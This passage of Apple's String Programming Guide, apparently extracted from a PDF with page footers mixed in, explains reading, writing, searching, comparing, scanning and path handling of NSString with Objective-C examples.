scanf (or a variant thereof) with CGFloat, switch to double instead, and copy the double to CGFloat.
CGFloat imageWidth;
double tmp;
sscanf (str, "%lf", &tmp);
imageWidth = tmp;
It is important to remember that %lf does not represent CGFloat correctly on either 32- or 64-bit platforms.
This is unlike %ld, which works for long in all cases.
String Format Specifiers
Platform Dependencies
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
18Reading files or URLs using NSString is straightforward provided that you know what encoding the resource
uses—if you don't know the encoding, reading a resource is more challenging. When you write to a file or URL,
you must specify the encoding to use. (Where possible, you should use URLs because these are more efficient.)
Reading From Files and URLs
NSString provides a variety of methods to read data from files and URLs. In general, it is much easier to read
data if you know its encoding. If you have plain text and no knowledge of the encoding, you are already in a
difficult position. You should avoid placing yourself in this position if at all possible—anything that calls for
the use of plain text files should specify the encoding (preferably UTF-8 or UTF-16+BOM).
Reading data with a known encoding
To read from a file or URL for which you know the encoding, you use
stringWithContentsOfFile:encoding:error: or stringWithContentsOfURL:encoding:error:,
or the corresponding init... method, as illustrated in the following example.
NSURL *URL = ...;
NSError *error;
NSString *stringFromFileAtURL = [[NSString alloc]
initWithContentsOfURL:URL
encoding:NSUTF8StringEncoding
error:&error];
if (stringFromFileAtURL == nil) {
// an error occurred
NSLog(@"Error reading file at %@\n%@",
URL, [error localizedFailureReason]);
// implementation continues ...
You can also initialize a string using a data object, as illustrated in the following examples. Again, you must
specify the correct encoding.
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
19
Reading Strings From and Writing Strings To Files
and URLsNSURL *URL = ...;
NSData *data = [NSData dataWithContentsOfURL:URL];
// Assuming data is in UTF8.
NSString *string = [NSString stringWithUTF8String:[data bytes]];
// if data is in another encoding, for example ISO-8859-1
NSString *string = [[NSString alloc]
initWithData:data encoding: NSISOLatin1StringEncoding];
Reading data with an unknown encoding
If you find yourself with text of unknown encoding, it is best to make sure that there is a mechanism for
correcting the inevitable errors. For example, Apple's Mail and Safari applications have encoding menus, and
TextEdit allows the user to reopen the file with an explicitly specified encoding.
If you are forced to guess the encoding (and note that in the absence of explicit information, it is a guess):
1. Try stringWithContentsOfFile:usedEncoding:error: or
initWithContentsOfFile:usedEncoding:error: (or the URL-based equivalents).
These methods try to determine the encoding of the resource, and if successful return by reference the
encoding used.
2. If (1) fails, try to read the resource by specifying UTF-8 as the encoding.
3. If (2) fails, try an appropriate legacy encoding.
"Appropriate" here depends a bit on circumstances; it might be the default C string encoding, it might be
ISO or Windows Latin 1, or something else, depending on where your data are coming from.
4. Finally, you can try NSAttributedString's loading methods from the Application Kit (such as
initWithURL:options:documentAttributes:error:).
These methods attempt to load plain text files, and return the encoding used. They can be used on
more-or-less arbitrary text documents, and are worth considering if your application has no special expertise
in text. They might not be as appropriate for Foundation-level tools or documents that are not
natural-language text.
Reading Strings From and Writing Strings To Files and URLs
Reading From Files and URLs
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
20Writing to Files and URLs
Compared with reading data from a file or URL, writing isstraightforward—NSString providestwo convenient
methods, writeToFile:atomically:encoding:error: and
writeToURL:atomically:encoding:error:. You must specify the encoding that should be used, and
choose whether to write the resource atomically or not. If you do not choose to write atomically, the string is
written directly to the path you specify. If you choose to write it atomically, it is written first to an auxiliary file,
and then the auxiliary file is renamed to the path. This option guarantees that the file, if it exists at all, won’t
be corrupted even if the system should crash during writing. If you write to an URL, the atomicity option is
ignored if the destination is not of a type that can be accessed atomically.
NSURL *URL = ...;
NSString *string = ...;
NSError *error;
BOOL ok = [string writeToURL:URL atomically:YES
encoding:NSUnicodeStringEncoding error:&error];
if (!ok) {
// an error occurred
NSLog(@"Error writing file at %@\n%@",
path, [error localizedFailureReason]);
// implementation continues ...
Summary
This table summarizes the most common means of reading and writing string objects to and from files and
URLs:
Source Creation method Extraction method
writeToURL:
atomically:encoding:
error:
stringWithContentsOfURL:
encoding:error:
stringWithContentsOfURL:
usedEncoding:error:
URL contents
writeToFile:
atomically:encoding:
error:
stringWithContentsOfFile:
encoding:error:
stringWithContentsOfFile:
usedEncoding:error:
File contents
Reading Strings From and Writing Strings To Files and URLs
Writing to Files and URLs
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
21The string classes provide methods for finding characters and substrings within strings and for comparing one
string to another. These methods conform to the Unicode standard for determining whether two character
sequences are equivalent. The string classes provide comparison methods that handle composed character
sequences properly, though you do have the option of specifying a literal search when efficiency is important
and you can guarantee some canonical form for composed character sequences.
Search and Comparison Methods
The search and comparison methods each come in several variants. The simplest version of each searches or
compares entire strings. Other variants allow you to alter the way comparison of composed charactersequences
is performed and to specify a specific range of characters within a string to be searched or compared; you can
also search and compare strings in the context of a given locale.
These are the basic search and comparison methods:
Search methods Comparison methods
rangeOfString: compare:
rangeOfString: options: compare:options:
rangeOfString: options:range: compare:options: range:
rangeOfString: options:range: locale: compare:options: range:locale:
rangeOfCharacterFromSet:
rangeOfCharacterFromSet: options:
rangeOfCharacterFromSet: options:range:
Searching strings
You use the rangeOfString:... methods to search for a substring within the receiver. The
rangeOfCharacterFromSet:... methodssearch for individual charactersfrom a supplied set of characters.
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
22
Searching, Comparing, and Sorting StringsSubstrings are found only if completely contained within the specified range. If you specify a range for a search
or comparison method and don’t request NSLiteralSearch (see below), the range must not break composed
character sequences on either end; if it does, you could get an incorrect result. (See the method description
for rangeOfComposedCharacterSequenceAtIndex: for a code sample that adjusts a range to lie on
character sequence boundaries.)
You can also scan a string object for numeric and string values using an instance of NSScanner. For more
about scanners, see “Scanners” (page 36). Both the NSString and the NSScanner class clusters use the
NSCharacterSet class cluster forsearch operations. For more about charactersets,see “Character Sets” (page
33).
If you simply want to determine whether a string contains a given pattern, you can use a predicate:
BOOL match = [myPredicate evaluateWithObject:myString];
For more about predicates, see Predicate Programming Guide .
Comparing and sorting strings
The compare:... methods return the lexical ordering of the receiver and the supplied string. Several other
methods allow you to determine whether two strings are equal or whether one isthe prefix orsuffix of another,
but they don’t have variants that allow you to specify search options or ranges.
The simplest method you can use to compare strings is compare:—this is the same as invoking
compare:options:range: with no options and the receiver’s full extent as the range. If you want to specify
comparison options(NSCaseInsensitiveSearch, NSLiteralSearch, or NSNumericSearch) you can use
compare:options:; if you want to specify a locale you can use compare:options:range:locale:.
NSString also provides various convenience methodsto allow you to perform common comparisons without
the need to specify ranges and options directly, for example caseInsensitiveCompare: and
localizedCompare:.
Important: For user-visible sorted lists, you should always use localized comparisons. Thustypically instead
of compare: or caseInsensitiveCompare: you should use localizedCompare: or
localizedCaseInsensitiveCompare:.
If you want to compare strings to order them in the same way as they’re presented in Finder, you should use
compare:options:range:locale: with the user’s locale and the following options:
NSCaseInsensitiveSearch, NSNumericSearch, NSWidthInsensitiveSearch, and
NSForcedOrderingSearch. For an example, see “Sorting strings like Finder” (page 26).
Searching, Comparing, and Sorting Strings
Search and Comparison Methods
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
23Search and Comparison Options
Several of the search and comparison methods take an “options” argument. This is a bit mask that adds further
constraints to the operation. You create the mask by combining the following options (not all options are
available for every method):
Search option Effect
NSCaseInsensitive- Ignores case distinctions among characters.
Search
Performs a byte-for-byte comparison. Differing literal sequences (such as
composed character sequences) that would otherwise be considered
equivalent are considered not to match. Using this option can speed some
operations dramatically.
NSLiteralSearch
NSBackwardsSearch Performs searching from the end of the range toward the beginning.
Performs searching only on characters at the beginning or end of the
range. No match at the beginning or end means nothing is found, even
if a matching sequence of characters occurs elsewhere in the string.
NSAnchoredSearch
When used with the compare:options: methods, groups of numbers
are treated as a numeric value for the purpose of comparison. For example,
Filename9.txt < Filename20.txt < Filename100.txt.
NSNumericSearch
Search and comparison are currently performed as if the NSLiteralSearch option were specified.
Examples
Case-Insensitive Search for Prefix and Suffix
NSString provides the methods hasPrefix: and hasSuffix: that you can use to find an exact match for
a prefix or suffix. The following example illustrates how you can use rangeOfString:options: with a
combination of options to perform case insensitive searches.
NSString *searchString = @"age";
NSString *beginsTest = @"Agencies";
NSRange prefixRange = [beginsTest rangeOfString:searchString
Searching, Comparing, and Sorting Strings
Search and Comparison Options
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
24options:(NSAnchoredSearch | NSCaseInsensitiveSearch)];
// prefixRange = {0, 3}
NSString *endsTest = @"BRICOLAGE";
NSRange suffixRange = [endsTest rangeOfString:searchString
options:(NSAnchoredSearch | NSCaseInsensitiveSearch | NSBackwardsSearch)];
// suffixRange = {6, 3}
Comparing Strings
The following examples illustrate the use of various string comparison methods and associated options. The
first shows the simplest comparison method.
NSString *string1 = @"string1";
NSString *string2 = @"string2";
NSComparisonResult result;
result = [string1 compare:string2];
// result = -1 (NSOrderedAscending)
You can compare strings numerically using the NSNumericSearch option:
NSString *string10 = @"string10";
NSString *string2 = @"string2";
NSComparisonResult result;
result = [string10 compare:string2];
// result = -1 (NSOrderedAscending)
result = [string10 compare:string2 options:NSNumericSearch];
// result = 1 (NSOrderedDescending)
You can use convenience methods (caseInsensitiveCompare: and
localizedCaseInsensitiveCompare:) to perform case-insensitive comparisons:
Searching, Comparing, and Sorting Strings
Examples
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
25NSString *string_a = @"Aardvark";
NSString *string_A = @"AARDVARK";
result = [string_a compare:string_A];
// result = 1 (NSOrderedDescending)
result = [string_a caseInsensitiveCompare:string_A];
// result = 0 (NSOrderedSame)
// equivalent to [string_a compare:string_A options:NSCaseInsensitiveSearch]
Sorting strings like Finder
To sort strings the way Finder does in OS X v10.6 and later, use the localizedStandardCompare: method.
It should be used whenever file names or other strings are presented in lists and tables where Finder-like
sorting is appropriate. The exact behavior of this method is different under different localizations, so clients
should not depend on the exact sorting order of the strings.
The following example shows another implementation of similar functionality, comparing strings to order
them in the same way as they’re presented in Finder, and it also shows how to sort the array of strings. First,
define a sorting function that includes the relevant comparison options (for efficiency, pass the user's locale
as the context—this way it's only looked up once).
int finderSortWithLocale(id string1, id string2, void *locale)
{
static NSStringCompareOptions comparisonOptions =
NSCaseInsensitiveSearch | NSNumericSearch |
NSWidthInsensitiveSearch | NSForcedOrderingSearch;
NSRange string1Range = NSMakeRange(0, [string1 length]);
return [string1 compare:string2
options:comparisonOptions
range:string1Range
locale:(NSLocale *)locale];
}
Searching, Comparing, and Sorting Strings
Examples
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
26You pass the function as a parameter to sortedArrayUsingFunction:context: with the user’s current
locale as the context:
NSArray *stringsArray = @[@"string 1",
@"String 21",
@"string 12",
@"String 11",
@"String 02"];
NSArray *sortedArray = [stringsArray sortedArrayUsingFunction:finderSortWithLocale
context:[NSLocale currentLocale]];
// sortedArray contains { "string 1", "String 02", "String 11", "string 12", "String
21" }
Searching, Comparing, and Sorting Strings
Examples
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
27This article describes how line and paragraph separators are defined and how you can separate a string by
paragraph.
Line and Paragraph Separator Characters
There are a number of ways in which a line or paragraph break may be represented. Historically \n, \r, and
\r\n have been used. Unicode defines an unambiguous paragraph separator, U+2029 (for which Cocoa
provides the constant NSParagraphSeparatorCharacter), and an unambiguous line separator, U+2028
(for which Cocoa provides the constant NSLineSeparatorCharacter).
In the Cocoa text system, the NSParagraphSeparatorCharacter is treated consistently as a paragraph
break, and NSLineSeparatorCharacter is treated consistently as a line break that is not a paragraph
break—that is, a line break within a paragraph. However, in other contexts, there are few guarantees as to
how these characters will be treated. POSIX-level software, for example, often recognizes only \n as a break.
Some older Macintosh software recognizes only \r, and some Windows software recognizes only \r\n. Often
there is no distinction between line and paragraph breaks.
Which line or paragraph break character you should use depends on how your data may be used and on what
platforms. The Cocoa text system recognizes \n, \r, or \r\n all as paragraph breaks—equivalent to
NSParagraphSeparatorCharacter.When it inserts paragraph breaks, for example with insertNewline:,
it uses \n. Ordinarily NSLineSeparatorCharacter is used only for breaks that are specifically line breaks
and not paragraph breaks, for example in insertLineBreak:, or for representing HTML
elements.
If your breaks are specifically intended as line breaks and not paragraph breaks, then you should typically use
NSLineSeparatorCharacter. Otherwise, you may use \n, \r, or \r\n depending on what other software
is likely to process your text. The default choice for Cocoa is usually \n.
Separating a String “by Paragraph”
A common approach to separating a string “by paragraph” is simply to use:
NSArray *arr = [myString componentsSeparatedByString:@"\n"];
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
28
Paragraphs and Line BreaksThis, however, ignores the fact that there are a number of other ways in which a paragraph or line break may
be represented in a string—\r, \r\n, or Unicode separators. Instead you can use methods—such as
lineRangeForRange: or getParagraphStart:end:contentsEnd:forRange:—that take into account
the variety of possible line terminations, as illustrated in the following example.
NSString *string = /* assume this exists */;
unsigned length = [string length];
unsigned paraStart = 0, paraEnd = 0, contentsEnd = 0;
NSMutableArray *array = [NSMutableArray array];
NSRange currentRange;
while (paraEnd < length) {
[string getParagraphStart:¶Start end:¶End
contentsEnd:&contentsEnd forRange:NSMakeRange(paraEnd, 0)];
currentRange = NSMakeRange(paraStart, contentsEnd - paraStart);
[array addObject:[string substringWithRange:currentRange]];
}
Paragraphs and Line Breaks
Separating a String “by Paragraph”
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
29It's common to think of a string as a sequence of characters, but when working with NSString objects, or
with Unicode strings in general, in most cases it is better to deal with substrings rather than with individual
characters. The reason for this is that what the user perceives as a character in text may in many cases be
represented by multiple characters in the string. NSString has a large inventory of methods for properly
handling Unicode strings, which in general make Unicode compliance easy, but there are a few precautions
you should observe.
NSString objects are conceptually UTF-16 with platform endianness. That doesn't necessarily imply anything
about their internalstorage mechanism; what it meansisthat NSString lengths, character indexes, and ranges
are expressed in terms of UTF-16 units, and that the term “character” in NSString method names refers to
16-bit platform-endian UTF-16 units. This is a common convention for string objects. In most cases, clients
don't need to be overly concerned with this; aslong as you are dealing with substrings, the precise interpretation
of the range indexes is not necessarily significant.
The vast majority of Unicode code points used for writing living languages are represented by single UTF-16
units. However, some less common Unicode code points are represented in UTF-16 by surrogate pairs. A
surrogate pair is a sequence of two UTF-16 units, taken from specific reserved ranges, that together represent
a single Unicode code point. CFString has functions for converting between surrogate pairs and the UTF-32
representation of the corresponding Unicode code point. When dealing with NSString objects, one constraint
is that substring boundaries usually should not separate the two halves of a surrogate pair. This is generally
automatic for rangesreturned from most Cocoa methods, but if you are constructing substring ranges yourself
you should keep this in mind. However, this is not the only constraint you should consider.
In many writing systems, a single character may be composed of a base letter plus an accent or other decoration.
The number of possible letters and accents precludes Unicode from representing each combination as a single
code point, so in general such combinations are represented by a base character followed by one or more
combining marks. For compatibility reasons, Unicode does have single code points for a number of the most
common combinations; these are referred to as precomposed forms, and Unicode normalization transformations
can be used to convert between precomposed and decomposed representations. However, even if a string is
fully precomposed, there are still many combinations that must be represented using a base character and
combining marks. For most text processing, substring ranges should be arranged so that their boundaries do
not separate a base character from its associated combining marks.
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
30
Characters and Grapheme ClustersIn addition, there are writing systems in which characters represent a combination of parts that are more
complicated than accent marks. In Korean, for example, a single Hangul syllable can be composed of two or
three subparts known as jamo. In the Indic and Indic-influenced writing systems common throughout South
and Southeast Asia, single written characters often represent combinations of consonants, vowels, and marks
such as viramas, and the Unicode representations of these writing systems often use code points for these
individual parts,so that a single character may be composed of multiple code points. For most text processing,
substring ranges should also be arranged so that their boundaries do not separate the jamo in a single Hangul
syllable, or the components of an Indic consonant cluster.
In general, these combinations—surrogate pairs, base characters plus combining marks, Hangul jamo, and
Indic consonant clusters—are referred to as grapheme clusters. In order to take them into account, you can
use NSString’s rangeOfComposedCharacterSequencesForRange: or
rangeOfComposedCharacterSequenceAtIndex: methods, or
CFStringGetRangeOfComposedCharactersAtIndex. These can be used to adjuststring indexes orsubstring
ranges so that they fall on grapheme cluster boundaries, taking into account all of the constraints mentioned
above. These methods should be the default choice for programmatically determining the boundaries of
user-perceived characters.:
In some cases, Unicode algorithms deal with multiple charactersin waysthat go beyond even grapheme cluster
boundaries. Unicode casing algorithms may convert a single character into multiple characters when going
from lowercase to uppercase; for example, the standard uppercase equivalent of the German character “ß” is
the two-letter sequence “SS”. Localized collation algorithms in many languages consider multiple-character
sequences as single units; for example, the sequence “ch” is treated as a single letter for sorting purposes in
some European languages. In order to deal properly with cases like these, it is important to use standard
NSString methods for such operations as casing, sorting, and searching, and to use them on the entire string
to which they are to apply. Use NSString methods such as lowercaseString, uppercaseString,
capitalizedString, compare: and its variants, rangeOfString: and its variants, and
rangeOfCharacterFromSet: and its variants, or their CFString equivalents. These all take into account the
complexities of Unicode string processing, and the searching and sorting methods in particular have many
options to control the types of equivalences they are to recognize.
In some less common cases, it may be necessary to tailor the definition of grapheme clusters to a particular
need. The issues involved in determining and tailoring grapheme cluster boundaries are covered in detail in
Unicode Standard Annex #29, which gives a number of examples and some algorithms. The Unicode standard
in general is the best source for information about Unicode algorithms and the considerations involved in
processing Unicode strings.
If you are interested in grapheme cluster boundaries from the point of view of cursor movement and insertion
point positioning, and you are using the Cocoa text system, you should know that on OS X v10.5 and later,
NSLayoutManager has API support for determining insertion point positions within a line of text as it is laid
Characters and Grapheme Clusters
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
31out. Note that insertion point boundaries are not identical to glyph boundaries; a ligature glyph in some cases,
such as an “fi” ligature in Latin script, may require an internal insertion point on a user-perceived character
boundary. See Cocoa Text Architecture Guide for more information.
Characters and Grapheme Clusters
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
32An NSCharacterSet object represents a set of Unicode characters. NSString and NSScanner objects use
NSCharacterSet objects to group characters together for searching operations, so that they can find any of
a particular set of characters during a search.
Character Set Basics
A character set object represents a set of Unicode characters. Character sets are represented by instances of a
class cluster. The cluster’s two public classes, NSCharacterSet and NSMutableCharacterSet, declare the
programmatic interface for immutable and mutable character sets, respectively. An immutable character set is
defined when it is created and subsequently cannot be changed. A mutable character set can be changed
after it’s created.
A character set object doesn’t perform any tasks; it simply holds a set of character values to limit operations
on strings. The NSString and NSScanner classes define methods that take NSCharacterSet objects as
argumentsto find any ofseveral characters. For example, this code excerpt findsthe range of the first uppercase
letter in myString:.
NSString *myString = @"some text in an NSString...";
NSCharacterSet *characterSet = [NSCharacterSet uppercaseLetterCharacterSet];
NSRange letterRange = [myString rangeOfCharacterFromSet:characterSet];
After this fragment executes, letterRange.location is equal to the index of the first “N” in “NSString” after
rangeOfCharacterFromSet: isinvoked. If the first letter of the string were “S”, then letterRange.location
would be 0.
Creating Character Sets
NSCharacterSet defines class methodsthat return commonly used charactersets,such asletters(uppercase
or lowercase), decimal digits, whitespace, and so on. These “standard” character sets are always immutable,
even if created by sending a message to NSMutableCharacterSet. See “Standard Character Sets and Unicode
Definitions” (page 35) for more information on standard character sets.
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
33
Character SetsYou can use a standard character set as a starting point for building a custom set by making a mutable copy
of it and changing that. (You can also start from scratch by creating a mutable character set with alloc and
init and adding characters to it.) For example, this fragment creates a character set containing letters, digits,
and basic punctuation:
NSMutableCharacterSet *workingSet = [[NSCharacterSet alphanumericCharacterSet]
mutableCopy];
[workingSet addCharactersInString:@";:,."];
NSCharacterSet *finalCharacterSet = [workingSet copy];
To define a custom character set using Unicode code points, use code similar to the following fragment (which
creates a character set including the form feed and line separator characters):
UniChar chars[] = {0x000C, 0x2028};
NSString *string = [[NSString alloc] initWithCharacters:chars
length:sizeof(chars) / sizeof(UniChar)];
NSCharacterSet *characterSet = [NSCharacterSet
characterSetWithCharactersInString:string];
Performance considerations
Because character sets often participate in performance-critical code, you should be aware of the aspects of
their use that can affect the performance of your application. Mutable character sets are generally much more
expensive than immutable character sets. They consume more memory and are costly to invert (an operation
often performed in scanning a string). Because of this, you should follow these guidelines:
● Create as few mutable character sets as possible.
● Cache character sets (in a global dictionary, perhaps) instead of continually recreating them.
● When creating a custom set that doesn’t need to change after creation, make an immutable copy of the
final character set for actual use, and dispose of the working mutable character set. Alternatively, create
a character set file as described in “Creating a character set file” (page 35) and store it in your application’s
main bundle.
● Similarly, avoid archiving characterset objects;store them in characterset filesinstead. Archiving can result
in a character set being duplicated in different archive files, resulting in wasted disk space and duplicates
in memory for each separate archive read.
Character Sets
Performance considerations
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
34Creating a character set file
If your application frequently uses a custom character set, you should save its definition in a resource file and
load that instead of explicitly adding individual characters each time you need to create the set. You can save
a character set by getting its bitmap representation (an NSData object) and saving that object to a file:
NSData *charSetRep = [finalCharacterSet bitmapRepresentation];
NSURL *dataURL = <#URL for character set#>;
NSError *error;
BOOL result = [charSetRep writeToURL:dataURL options:NSDataWritingAtomic
error:&error];
By convention, characterset filenames use the extension .bitmap. If you intend for othersto use your character
set files, you should follow this convention. To read a character set file with a .bitmap extension, simply use
the characterSetWithContentsOfFile: method.
Standard Character Sets and Unicode Definitions
The standard character sets, such as that returned by letterCharacterSet, are formally defined in terms
of the normative and informative categories established by the Unicode standard, such as Uppercase Letter,
Combining Mark, and so on. The formal definition of a standard character set is in most cases given as one or
more of the categories defined in the standard. For example, the set returned by
lowercaseLetterCharacterSet include all characters in normative category Lowercase Letters, while the
set returned by letterCharacterSet includes the characters in all of the Letter categories.
Note that the definitions of the categoriesthemselves may change with new versions of the Unicode standard.
You can download the files that define category membership from http://www.unicode.org/.
Character Sets
Creating a character set file
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
35An NSScanner object scans the characters of an NSString object, typically interpreting the characters and
converting them into number and string values. You assign the scanner’s string on creation, and the scanner
progresses through the characters of that string from beginning to end as you request items.
Creating a Scanner
NSScanner is a class cluster with a single public class, NSScanner. Generally, you instantiate a scanner object
by invoking the class method scannerWithString: or localizedScannerWithString:. Either method
returns a scanner object initialized with the string you pass to it. The newly created scanner starts at the
beginning of its string. You scan components using the scan... methods such as scanInt:, scanDouble:,
and scanString:intoString:. If you are scanning multiple lines, you typically create a while loop that
continues until the scanner is at the end of the string, as illustrated in the following code fragment:
float aFloat;
NSScanner *theScanner = [NSScanner scannerWithString:aString];
while ([theScanner isAtEnd] == NO) {
[theScanner scanFloat:&aFloat];
// implementation continues...
}
You can configure a scanner to consider or ignore case using the setCaseSensitive: method. By default
a scanner ignores case.
Using a Scanner
Scan operationsstart at the scan location and advance the scanner to just past the last character in the scanned
value representation (if any). For example, after scanning an integer from the string “137 small cases of
bananas”, a scanner’s location will be 3, indicating the space immediately after the number. Often you need
to advance the scan location to skip characters in which you are not interested. You can change the implicit
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
36
Scannersscan location with the setScanLocation: method to skip ahead a certain number of characters (you can
also use the method to rescan a portion of the string after an error). Typically, however, you either want to
skip characters from a particular character set, scan past a specific string, or scan up to a specific string.
You can configure a scanner to skip a set of characters with the setCharactersToBeSkipped: method. A
scanner ignores characters to be skipped at the beginning of any scan operation. Once it finds a scannable
character, however, it includes all characters matching the request. Scanners skip whitespace and newline
characters by default. Note that case is always considered with regard to characters to be skipped. To skip all
English vowels, for example, you must set the characters to be skipped to those in the string “AEIOUaeiou”.
If you want to read content from the current location up to a particular string, you can use
scanUpToString:intoString: (you can pass NULL as the second argument if you simply want to skip the
intervening characters). For example, given the following string:
137 small cases of bananas
you can find the type of container and number of containers using scanUpToString:intoString: asshown
in the following example.
NSString *bananas = @"137 small cases of bananas";
NSString *separatorString = @" of";
NSScanner *aScanner = [NSScanner scannerWithString:bananas];
NSInteger anInteger;
[aScanner scanInteger:&anInteger];
NSString *container;
[aScanner scanUpToString:separatorString intoString:&container];
It is important to note that the search string (separatorString) is " of". By default a scanner ignores
whitespace, so the space character after the integer is ignored. Once the scanner begins to accumulate
characters, however, all characters are added to the output string until the search string is reached. Thus if the
search string is "of" (no space before), the first value of container is “small cases ” (includes the space
following); if the search string is " of" (with a space before), the first value of container is “small cases” (no
space following).
Scanners
Using a Scanner
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
37After scanning up to a given string, the scan location is the beginning of that string. If you want to scan past
thatstring, you must therefore firstscan in the string you scanned up to. The following code fragment illustrates
how to skip past the search string in the previous example and determine the type of product in the container.
Note the use of substringFromIndex: to in effect scan up to the end of a string.
[aScanner scanString:separatorString intoString:NULL];
NSString *product;
product = [[aScanner string] substringFromIndex:[aScanner scanLocation]];
// could also use:
// product = [bananas substringFromIndex:[aScanner scanLocation]];
Example
Suppose you have a string containing lines such as:
Product: Acme Potato Peeler; Cost: 0.98 73
Product: Chef Pierre Pasta Fork; Cost: 0.75 19
Product: Chef Pierre Colander; Cost: 1.27 2
The following example uses alternating scan operationsto extract the product names and costs(costs are read
as a float forsimplicity’ssake),skipping the expected substrings“Product:” and “Cost:”, as well asthe semicolon.
Note that because a scanner skips whitespace and newlines by default, the loop does no special processing
for them (in particular there is no need to do additional whitespace processing to retrieve the final integer).
NSString *string = @"Product: Acme Potato Peeler; Cost: 0.98 73\n\
Product: Chef Pierre Pasta Fork; Cost: 0.75 19\n\
Product: Chef Pierre Colander; Cost: 1.27 2\n";
NSCharacterSet *semicolonSet;
NSScanner *theScanner;
NSString *PRODUCT = @"Product:";
NSString *COST = @"Cost:";
NSString *productName;
float productCost;
Scanners
Example
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
38NSInteger productSold;
semicolonSet = [NSCharacterSet characterSetWithCharactersInString:@";"];
theScanner = [NSScanner scannerWithString:string];
while ([theScanner isAtEnd] == NO)
{
if ([theScanner scanString:PRODUCT intoString:NULL] &&
[theScanner scanUpToCharactersFromSet:semicolonSet
intoString:&productName] &&
[theScanner scanString:@";" intoString:NULL] &&
[theScanner scanString:COST intoString:NULL] &&
[theScanner scanFloat:&productCost] &&
[theScanner scanInteger:&productSold])
{
NSLog(@"Sales of %@: $%1.2f", productName, productCost * productSold);
}
}
Localization
A scanner bases some of its scanning behavior on a locale, which specifies a language and conventions for
value representations. NSScanner uses only the locale’s definition for the decimal separator (given by the key
named NSDecimalSeparator). You can create a scanner with the user’s locale by using
localizedScannerWithString:, or set the locale explicitly using setLocale:. If you use a method that
doesn’t specify a locale, the scanner assumes the default locale values.
Scanners
Localization
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
39NSString provides a rich set of methodsfor manipulating strings asfile-system paths. You can extract a path’s
directory, filename, and extension, expand a tilde expression (such as “~me”) or create one for the user’s home
directory, and clean up paths containing symbolic links, redundant slashes, and references to “.” (current
directory) and “..” (parent directory).
Note: Where possible, you should use instances of NSURL to represent paths—the operating system
deals with URLs more efficiently than with string representations of paths.
Representing a Path
NSString represents paths generically with ‘/’ asthe path separator and ‘.’ asthe extension separator. Methods
that accept strings as path arguments convert these generic representations to the proper system-specific
form as needed. On systems with an implicit root directory, absolute paths begin with a path separator or with
a tilde expression (“~/...” or “~user/...”). Where a device must be specified, you can do that
yourself—introducing a system dependency—or allow the string object to add a default device.
You can create a standardized representation of a path using stringByStandardizingPath. This performs
a number of tasks including:
● Expansion of an initial tilde expression;
● Reduction of empty components and references to the current directory (“//” and “/./”) to single path
separators;
●
In absolute paths, resolution of references to the parent directory (“..”) to the real parent directory;
for example:
NSString *path = @"/usr/bin/./grep";
NSString *standardizedPath = [path stringByStandardizingPath];
// standardizedPath: /usr/bin/grep
path = @"~me";
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
40
String Representations of File PathsstandardizedPath = [path stringByStandardizingPath];
// standardizedPath (assuming conventional naming scheme): /Users/Me
path = @"/usr/include/objc/..";
standardizedPath = [path stringByStandardizingPath];
// standardizedPath: /usr/include
path = @"/private/usr/include";
standardizedPath = [path stringByStandardizingPath];
// standardizedPath: /usr/include
User Directories
The following examples illustrate how you can use NSString’s path utilities and other Cocoa functions to get
the user directories.
// Assuming that users’ home directories are stored in /Users
NSString *meHome = [@"~me" stringByExpandingTildeInPath];
// meHome = @"/Users/me"
NSString *mePublic = [@"~me/Public" stringByExpandingTildeInPath];
// mePublic = @"/Users/me/Public"
You can find the home directory for the current user and for a given user with NSHomeDirectory and
NSHomeDirectoryForUser respectively:
NSString *currentUserHomeDirectory = NSHomeDirectory();
NSString *meHomeDirectory = NSHomeDirectoryForUser(@"me");
Note that you should typically use the function NSSearchPathForDirectoriesInDomains to locate standard
directories for the current user. For example, instead of:
NSString *documentsDirectory =
[NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
String Representations of File Paths
User Directories
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
41you should use:
NSString *documentsDirectory;
NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
NSUserDomainMask, YES);
if ([paths count] > 0) {
documentsDirectory = [paths objectAtIndex:0];
}
Path Components
NSString provides a rich set of methods for manipulating strings as file-system paths, for example:
Interprets the receiver as a path and returns the
receiver’s extension, if any.
pathExtension
Returns a new string made by deleting the
extension (if any, and only the last) from the
receiver.
stringByDeletingPathExtension
Returns a new string made by deleting the last
path component from the receiver, along with any
final path separator.
stringByDeletingLastPathComponent
Using these and related methods described in NSString Class Reference , you can extract a path’s directory,
filename, and extension, as illustrated by the following examples.
NSString *documentPath = @"~me/Public/Demo/readme.txt";
NSString *documentDirectory = [documentPath stringByDeletingLastPathComponent];
// documentDirectory = @"~me/Public/Demo"
NSString *documentFilename = [documentPath lastPathComponent];
// documentFilename = @"readme.txt"
NSString *documentExtension = [documentPath pathExtension];
// documentExtension = @"txt"
String Representations of File Paths
Path Components
2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved.
42File Name Completion
You can find possible expansions of file names using
completePathIntoString:caseSensitive:matchesIntoArray:filterTypes:. For example, given
a directory ~/Demo that contains the following files:
